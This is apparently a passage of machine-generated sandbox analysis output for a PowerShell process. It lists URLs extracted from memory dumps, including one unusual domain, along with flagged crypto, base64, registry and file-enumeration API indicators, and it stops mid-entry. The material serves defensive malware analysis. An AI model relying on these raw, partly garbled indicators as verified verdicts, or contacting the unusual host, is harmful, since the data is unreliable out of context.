Pattern match: "http://www.microsoft.com0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/certs/m" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "www.microsoft.com/pkiops" Pattern match: "https://distancehandsetsjohnsonformulated.com/senatorsanticipateexcellentforeheadalbuquerque"48:T54fb,Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004040.00000000.152403.9A210000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004040.00000000.152403.9A210000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004040.00000000.152403.9A210000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00004040.00000000.152403.9A210000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004040.00000000.152403.9A210000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004040.00000000.152403.9A400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004040.00000000.152403.9A400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004040.00000000.152403.9A400000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?erlib@v4.0.30319ul" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0root" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mn9iqmgvw,czc592,,1,0,@7fff2665c3000000b3f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002.5.4.62.5.4.8washington2.5.4.7redmond2.5.4.10microsoft" - Source: "00000000-00004040.00000000.152403.B5000000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l250905032048z0/^g(o-cejy" - Source: "00000000-00004040.00000000.152403.B5000000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004040.00000000.152403.B5000000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004040.00000000.152403.B5000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/mwashington1redmond1microsoft" - Source: "00000000-00004040.00000000.152403.B5000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004040.00000000.152403.B5000000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004040.00000001.153030.9A210000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004040.00000001.153030.9A210000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004040.00000001.153030.9A210000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00004040.00000001.153030.9A210000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004040.00000001.153030.9A210000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00004040.00000001.153030.9A400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0washington1redmond1microsoft" - Source: "00000000-00004040.00000001.153030.9A400000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004040.00000001.153030.9A400000.00000004.mdmp") Found URL "http://crl.m(_h.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@a[_y$vkt7" - Source: "00000000-00004040.00000001.153030.9A400000.00000004.mdmp") Found URL "http://crl.micrm/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004040.00000001.153030.9A400000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiopsrasman" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?erlib@v4.0.30319ul" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0root" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004040.00000001.153030.9C100000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004040.00000001.153030.B5000000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004040.00000001.153030.B5000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/mwashington1redmond1microsoft" - Source: "00000000-00004040.00000001.153030.B5000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004040.00000001.153030.B5000000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsnonic" - Source: "00000000-00004040.00000001.153030.B50CD000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004040.00000001.153030.B5197000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004040.00000001.153030.B5197000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004040.00000001.153030.B5197000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004040.00000001.153030.B5197000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004040.00000001.153030.B5197000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004040.00000001.153030.B5197000.00000004.mdmp")49:T40e,Found registry query API: "RegQueryValueExW" in "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp" Found registry query API: "RegGetValueW" in "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00004040.00000001.153030.12058000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00004040.00000001.153030.12058000.00000002.mdmp" Found registry query API: "RegNotifyChangeKeyValue" in "00000000-00004040.00000001.153030.12058000.00000002.mdmp"4a:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004040) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00004040) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00004040) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00004040) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00004040) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00004040) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00004040) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00004040)4b:T14d4,file/memory contains long string with (Indicator: "aes"; File: "AMSI") file/memory contains long string with (Indicator: "createdecryptor"; File: "AMSI") file/memory contains long string with (Indicator: "GzipStream"; File: "AMSI") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "AMSI") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp, 00000000-00004040.00000000.152403.B5000000.00000004.mdmp, 00000000-00004040.00000001.153030.9C100000.00000004.mdmp, 00000000-00004040.00000001.153030.B5000000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000000.152403.B2100000.00000004.mdmp, 00000000-00004040.00000001.153030.B20B0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20D0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B2100000.00000004.mdmp, 00000000-00004040.00000001.153030.B2130000.00000004.mdmp") Found string "soapbase64binary" (Indicator: "base64"; Source: "00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000000.152403.B2100000.00000004.mdmp, 00000000-00004040.00000001.153030.B20B0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20D0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B2100000.00000004.mdmp, 00000000-00004040.00000001.153030.B2130000.00000004.mdmp") Found string "gzipstream" (Indicator: "GzipStream"; Source: "00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp") Found string "base64stream" (Indicator: "base64"; Source: "00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00004040.00000000.152403.B5000000.00000004.mdmp, 00000000-00004040.00000001.153030.B5000000.00000004.mdmp") Found string "LooksLikeBase64" (Indicator: "base64"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found string "TryDecodeBase64" (Indicator: "base64"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp, 00000000-00004040.00000001.153030.B4740000.00000004.mdmp") Found string "FromBase64String" (Indicator: "base64"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00004040.00000001.153030.B20B0000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00004040.00000001.153030.B20B0000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00004040.00000001.153030.B20B0000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00004040.00000001.153030.B20B0000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00004040.00000001.153030.B20B0000.00000004.mdmp")4c:T6d1,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp, 00000000-00004040.00000001.153030.B4740000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp")4d:T9fa,Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; 